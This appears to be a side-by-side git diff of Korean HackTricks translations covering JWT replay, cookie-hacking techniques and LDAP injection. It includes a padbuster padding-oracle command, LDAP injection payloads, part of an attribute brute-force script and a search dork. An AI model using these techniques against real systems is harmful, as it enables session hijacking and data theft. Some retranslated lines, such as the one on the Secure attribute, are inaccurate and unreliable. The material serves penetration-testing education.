토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다. 토큰의 만료는 "exp" 페이로드 클레임을 사용하여 확인됩니다. JWT가 종종 세션 정보 없이 사용되기 때문에 신중한 처리가 필요합니다. 많은 경우, 다른 사용자의 JWT를 캡처하고 재전송하면 해당 사용자를 가장할 수 있습니다. JWT RFC는 토큰의 만료 시간을 설정하기 위해 "exp" 클레임을 활용하여 JWT 재전송 공격을 완화할 것을 권장합니다. 또한, 이 값을 처리하고 만료된 토큰을 거부하는 관련 검사를 애플리케이션에서 구현하는 것이 중요합니다. 토큰에 "exp" 클레임이 포함되어 있고 테스트 시간 제한이 허용된다면, 토큰을 저장하고 만료 시간이 지난 후 재전송하는 것이 좋습니다. 타임스탬프 파싱 및 만료 확인(UTC의 타임스탬프 포함)을 포함한 토큰의 내용 jwt_tool의 -R 플래그를 사용하여 읽을 수 있습니다.
* 애플리케이션이 여전히 토큰을 검증하는 경우 보안 위험이 존재할 수 있으며, 이는 토큰이 결코 만료되지 않을 수 있음을 의미할 수 있습니다. * 애플리케이션이 여전히 토큰을 검증하는 경우 보안 위험이 존재할 수 있으며, 이는 토큰이 결코 만료되지 않을 수 있음을 의미할 수 있습니다.
@ -260,23 +260,23 @@ JTI (JWT ID) 클레임은 JWT 토큰에 대한 고유 식별자를 제공합니
{% embed url="https://github.com/ticarpi/jwt_tool" %} {% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구술 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우고 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우고 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricks 지원하기</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# Cookies Hacking # Cookies Hacking
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,7 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
## Cookie Attributes ## Cookie Attributes
쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가지고 있습니다. 다음은 이러한 속성에 대한 설명입니다: 쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가지고 있습니다. 다음은 이러한 속성에 대한 설명입니다:
@ -26,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Domain ### Domain
쿠키를 받을 호스트는 `Domain` 속성에 의해 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며, 하위 도메인은 포함되지 않습니다. 그러나 `Domain` 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인 간의 쿠키 공유가 필요한 시나리오에서 유용한 덜 제한적인 옵션입니다. 예를 들어, `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 하위 도메인에서 쿠키에 접근할 수 있습니다. 쿠키를 받을 호스트는 `Domain` 속성에 의해 지정됩니다. 기본적으로 이는 쿠키를 발급한 호스트로 설정되며, 하위 도메인은 포함되지 않습니다. 그러나 `Domain` 속성이 명시적으로 설정되면 하위 도메인도 포함됩니다. 이는 하위 도메인 간의 쿠키 공유가 필요한 시나리오에서 유용한 덜 제한적인 옵션입니다. 예를 들어, `Domain=mozilla.org`로 설정하면 `developer.mozilla.org`와 같은 하위 도메인에서 쿠키에 접근할 수 있습니다.
### Path ### Path
@ -34,7 +33,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
### Ordering Rules ### Ordering Rules
두 개의 쿠키가 동일한 이름을 가질 때, 전송을 위해 선택되는 쿠키는 다음에 따라 결정됩니다: 두 개의 쿠키가 동일한 이름을 가질 때, 전송할 쿠키는 다음에 따라 선택됩니다:
* 요청된 URL에서 가장 긴 경로와 일치하는 쿠키. * 요청된 URL에서 가장 긴 경로와 일치하는 쿠키.
* 경로가 동일할 경우 가장 최근에 설정된 쿠키. * 경로가 동일할 경우 가장 최근에 설정된 쿠키.
@ -46,7 +45,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
* **Lax**: 제3자 웹사이트에서 시작된 GET 요청과 함께 쿠키가 전송될 수 있도록 허용합니다. * **Lax**: 제3자 웹사이트에서 시작된 GET 요청과 함께 쿠키가 전송될 수 있도록 허용합니다.
* **None**: 모든 제3자 도메인에서 쿠키가 전송될 수 있도록 허용합니다. * **None**: 모든 제3자 도메인에서 쿠키가 전송될 수 있도록 허용합니다.
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 예상대로 동작하도록 보장할 수 있습니다. 쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 쿠키가 예상대로 동작하도록 보장할 수 있습니다.
| **Request Type** | **Example Code** | **Cookies Sent When** | | **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- | | ---------------- | ---------------------------------- | --------------------- |
@ -72,9 +71,9 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
#### **Bypasses** #### **Bypasses**
* 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** (예제는 [여기](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인하세요). * 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** (예제는 [여기](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인할 수 있습니다).
* 서버의 응답으로 **TRACE** **HTTP** 요청을 사용하여 우회할 수 있습니다 (이 HTTP 메서드가 사용 가능한 경우). 이 기술은 **Cross-Site Tracking**이라고 합니다. * **TRACE** **HTTP** 요청으로 우회할 수 있습니다. 서버의 응답은 전송된 쿠키를 반영합니다 (이 HTTP 메서드가 사용 가능한 경우). 이 기술은 **Cross-Site Tracking**이라고 합니다.
* 이 기술은 **모던 브라우저에서 JS로 TRACE 요청을 보내는 것을 허용하지 않음으로써 방지됩니다**. 그러나 IE6.0 SP2에서 `\r\nTRACE`를 보내는 것과 같은 특정 소프트웨어에서 우회 방법이 발견되었습니다. * 이 기술은 **현대 브라우저에서 JS로 TRACE 요청을 보내는 것을 허용하지 않음으로써 방지됩니다**. 그러나 IE6.0 SP2와 같은 특정 소프트웨어에서 `\r\nTRACE`를 보내는 등의 우회 방법이 발견되었습니다.
* 또 다른 방법은 브라우저의 제로/데이 취약점을 악용하는 것입니다. * 또 다른 방법은 브라우저의 제로/데이 취약점을 악용하는 것입니다.
* 쿠키 항아리 오버플로우 공격을 수행하여 **HttpOnly 쿠키를 덮어쓸 수 있습니다**: * 쿠키 항아리 오버플로우 공격을 수행하여 **HttpOnly 쿠키를 덮어쓸 수 있습니다**:
@ -86,16 +85,16 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
### Secure ### Secure
요청은 **HTTP** 요청이 보안 채널(일반적으로 **HTTPS**)을 통해 전송될 때만 쿠키를 **전송합니다**. 요청은 **HTTP** 요청에서 쿠키를 **전송할 수 있는 경우**에만 보안 채널(일반적으로 **HTTPS**)을 통해 전송됩니다.
## Cookies Prefixes ## Cookies Prefixes
`__Secure-`로 접두사가 붙은 쿠키는 HTTPS로 보호되는 페이지와 함께 `secure` 플래그와 함께 설정되어야 합니다. `__Secure-`로 접두사가 붙은 쿠키는 HTTPS로 보호 페이지와 함께 `secure` 플래그와 함께 설정되어야 합니다.
`__Host-`로 접두사가 붙은 쿠키는 여러 조건을 충족해야 합니다: `__Host-`로 접두사가 붙은 쿠키는 여러 조건을 충족해야 합니다:
* `secure` 플래그와 함께 설정되어야 합니다. * `secure` 플래그와 함께 설정되어야 합니다.
* HTTPS로 보호되는 페이지에서 유래해야 합니다. * HTTPS로 보호 페이지에서 유래해야 합니다.
* 도메인을 지정하는 것이 금지되어 하위 도메인으로의 전송을 방지합니다. * 도메인을 지정하는 것이 금지되어 하위 도메인으로의 전송을 방지합니다.
* 이러한 쿠키의 경로는 `/`로 설정되어야 합니다. * 이러한 쿠키의 경로는 `/`로 설정되어야 합니다.
@ -103,13 +102,13 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
### Overwriting cookies ### Overwriting cookies
따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**Cookie Tossing attacks**](cookie-tossing.md)를 방지합니다. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 __HOST- 접두사가 붙은 쿠키를 설정할 수 있는 방법이 제시되었습니다. 예를 들어, 파서를 속이기 위해 시작 부분이나 끝 부분에 "="를 추가하는 것입니다: 따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**Cookie Tossing attacks**](cookie-tossing.md)를 방지합니다. [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 __HOST- 접두사가 붙은 쿠키를 설정할 수 있는 방법이 제시되었습니다. 예를 들어, 시작 부분이나 끝 부분에 "="를 추가하여 파서를 속이는 방법입니다:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
또는 PHP에서는 쿠키 이름의 시작 부분에 **다른 문자를 추가하여** **밑줄** 문자로 대체되도록 하여 `__HOST-` 쿠키를 덮어쓸 수 있었습니다: 또는 PHP에서는 쿠키 이름의 시작 부분에 **다른 문자를 추가하여** **밑줄** 문자로 대체되도록 하여 `__HOST-` 쿠키를 덮어쓸 수 있었습니다:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks ## Cookies Attacks
@ -121,11 +120,11 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
### Session Hijacking ### Session Hijacking
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 해당 계정에 무단으로 접근하는 것입니다. 공격자는 훔친 쿠키를 사용하여 합법적인 사용자를 가장할 수 있습니다. 이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 해당 계정에 무단으로 접근하는 것입니다. 훔친 쿠키를 사용하여 공격자는 합법적인 사용자를 가장할 수 있습니다.
### Session Fixation ### Session Fixation
이 시나리오에서 공격자는 피해자가 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새로운 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다. 이 시나리오에서 공격자는 피해자가 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요: 하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
@ -151,7 +150,7 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
### Cross-Site Request Forgery (CSRF) ### Cross-Site Request Forgery (CSRF)
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대 자동으로 전송되는 쿠키를 악용할 수 있습니다. 이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대한 모든 요청과 함께 자동으로 전송되는 쿠키를 악용할 수 있습니다.
### Empty Cookies ### Empty Cookies
@ -169,7 +168,7 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
``` ```
이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름`b`라는 값의 쿠키로 해석되는 쿠키 헤더를 전송하게 됩니다. 이로 인해 브라우저는 모든 웹 서버에서 `a`라는 이름의 쿠키와 `b`라는 값으로 해석되는 쿠키 헤더를 전송하게 됩니다.
#### Chrome 버그: 유니코드 대리 코드 포인트 문제 #### Chrome 버그: 유니코드 대리 코드 포인트 문제
@ -187,33 +186,33 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
#### 쿠키 주입 취약점 #### 쿠키 주입 취약점
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 서버가 쿠키를 잘못 파싱하는 경우, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie``http.cookie.BaseCookie`를 사용하는 경우 쿠키 주입 공격의 기회를 제공합니다. 이러한 서버는 새로운 쿠키의 시작을 제대로 구분하지 못하여 공격자가 쿠키를 스푸핑할 수 있게 합니다: (자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) 서버가 쿠키를 잘못 파싱하는 경우, 특히 Undertow, Zope 및 Python의 `http.cookie.SimpleCookie``http.cookie.BaseCookie`를 사용하는 경우 쿠키 주입 공격의 기회를 제공합니다. 이러한 서버는 새로운 쿠키의 시작을 적절히 구분하지 못하여 공격자가 쿠키를 스푸핑할 수 있게 합니다:
* Undertow는 세미콜론 없이 인용된 값 바로 뒤에 새로운 쿠키가 올 것으로 기대합니다. * Undertow는 세미콜론 없이 인용된 값 바로 뒤에 새로운 쿠키가 올 것으로 기대합니다.
* Zope는 다음 쿠키를 파싱하기 위해 쉼표를 찾습니다. * Zope는 다음 쿠키를 파싱하기 위해 쉼표를 찾습니다.
* Python의 쿠키 클래스는 공백 문자에서 파싱을 시작합니다. * Python의 쿠키 클래스는 공백 문자에서 파싱을 시작합니다.
이 취약점은 쿠키 기반 CSRF 보호에 의존하는 웹 애플리케이션에서 특히 위험합니다. 공격자가 스푸핑된 CSRF 토큰 쿠키를 주입할 수 있어 보안 조치를 우회할 수 있습니다. 이 문제는 Python의 중복 쿠키 이름 처리로 인해 악화되며, 마지막 발생이 이전 것을 덮어씁니다. 또한 불안전한 컨텍스트에서 `__Secure-``__Host-` 쿠키에 대한 우려를 불러일으키며, 쿠키가 스푸핑에 취약한 백엔드 서버로 전달될 때 권한 우회를 초래할 수 있습니다. 이 취약점은 쿠키 기반 CSRF 보호에 의존하는 웹 애플리케이션에서 특히 위험합니다. 공격자는 스푸핑된 CSRF 토큰 쿠키를 주입하여 보안 조치를 우회할 수 있습니다. 이 문제는 Python의 중복 쿠키 이름 처리로 인해 악화되며, 마지막 발생이 이전 것을 덮어씁니다. 또한 불안전한 컨텍스트에서 `__Secure-``__Host-` 쿠키에 대한 우려를 불러일으키며, 쿠키가 스푸핑에 취약한 백엔드 서버로 전달될 때 권한 우회를 초래할 수 있습니다.
### 추가 취약한 쿠키 검사 ### 추가 취약한 쿠키 검사
#### **기본 검사** #### **기본 검사**
* **로그인**할 때마다 **쿠키**가 **같은**지 확인합니다. * **로그인**할 때마다 **쿠키**가 **같은**지 확인합니다.
* 로그아웃하고 같은 쿠키를 사용해 보세요. * 로그아웃하고 동일한 쿠키를 사용해 보세요.
* 두 개의 장치(또는 브라우저)로 같은 계정에 같은 쿠키로 로그인해 보세요. * 두 개의 장치(또는 브라우저)로 동일한 계정에 동일한 쿠키로 로그인해 보세요.
* 쿠키에 정보가 있는지 확인하고 수정해 보세요. * 쿠키에 정보가 있는지 확인하고 수정해 보세요.
* 거의 같은 사용자 이름으로 여러 계정을 생성해 보고 유사성을 확인하세요. * 거의 동일한 사용자 이름으로 여러 계정을 생성해 보고 유사성을 확인하세요.
* "**기억하기**" 옵션이 있는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있다면, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요. * "**기억하기**" 옵션이 있는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있는 경우, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
* 비밀번호를 변경한 후에도 이전 쿠키가 작동하는지 확인하세요. * 비밀번호를 변경한 후에도 이전 쿠키가 작동하는지 확인하세요.
#### **고급 쿠키 공격** #### **고급 쿠키 공격**
로그인할 때 쿠키가 동일(또는 거의 동일)하게 유지된다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그러면 다음을 시도할 수 있습니다: 로그인할 때 쿠키가 동일하게 유지되거나 거의 동일하다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그런 다음 다음을 시도할 수 있습니다:
* 매우 **유사한** 사용자 이름으로 많은 **계정**을 생성하고 알고리즘이 어떻게 작동하는지 **추측**해 보세요. * 매우 **유사한** 사용자 이름으로 많은 **계정**을 생성하고 알고리즘이 어떻게 작동하는지 **추측**해 보세요.
* **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키가 될 것입니다. * **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키가 될 것입니다.
* **패딩 오라클**을 시도해 보세요 (쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요. * **패딩 오라클**을 시도해 보세요(쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요.
**패딩 오라클 - 패드버스터 예제** **패딩 오라클 - 패드버스터 예제**
```bash ```bash
@ -237,7 +236,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**CBC-MAC** **CBC-MAC**
쿠키에 어떤 값이 있을 수 있 CBC를 사용하여 서명될 수 있습니다. 그러면 값의 무결성은 동일한 값을 사용하여 CBC로 생성된 서명입니다. IV로 널 벡터를 사용하는 것이 권장되므로, 이러한 유형의 무결성 검사는 취약할 수 있습니다. 쿠키에 어떤 값이 있을 수 있으며 CBC를 사용하여 서명될 수 있습니다. 그러면 값의 무결성은 동일한 값을 사용하여 CBC로 생성된 서명입니다. IV로 널 벡터를 사용하는 것이 권장되므로, 이러한 유형의 무결성 검사는 취약할 수 있습니다.
**공격** **공격**
@ -263,10 +262,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -3,8 +3,8 @@
## LDAP Injection ## LDAP Injection
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -27,7 +27,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
### **LDAP** ### **LDAP**
**LDAP에 대해 알고 싶다면 다음 페이지를 참조하세요:** **LDAP에 대한 정보는 다음 페이지를 참조하세요:**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} {% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
@ -133,8 +133,8 @@ password=any
#### Lists #### Lists
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP 속성](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) * [LDAP PosixAccount 속성](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Blind LDAP Injection ### Blind LDAP Injection
@ -167,7 +167,7 @@ ascii 문자, 숫자 및 기호를 반복할 수 있습니다:
#### **유효한 LDAP 필드 발견** #### **유효한 LDAP 필드 발견**
LDAP 객체는 **기본적으로 여러 속성을 포함**하고 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). LDAP 객체는 **기본적으로 여러 속성을 포함하고** 있어 **정보를 저장하는 데 사용할 수 있습니다.** 이 정보를 추출하기 위해 **모든 속성을 무작위로 시도해 볼 수 있습니다.** [**기본 LDAP 속성 목록은 여기에서 확인할 수 있습니다**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests import requests
@ -224,22 +224,22 @@ intitle:"phpLDAPadmin" inurl:cmd.php
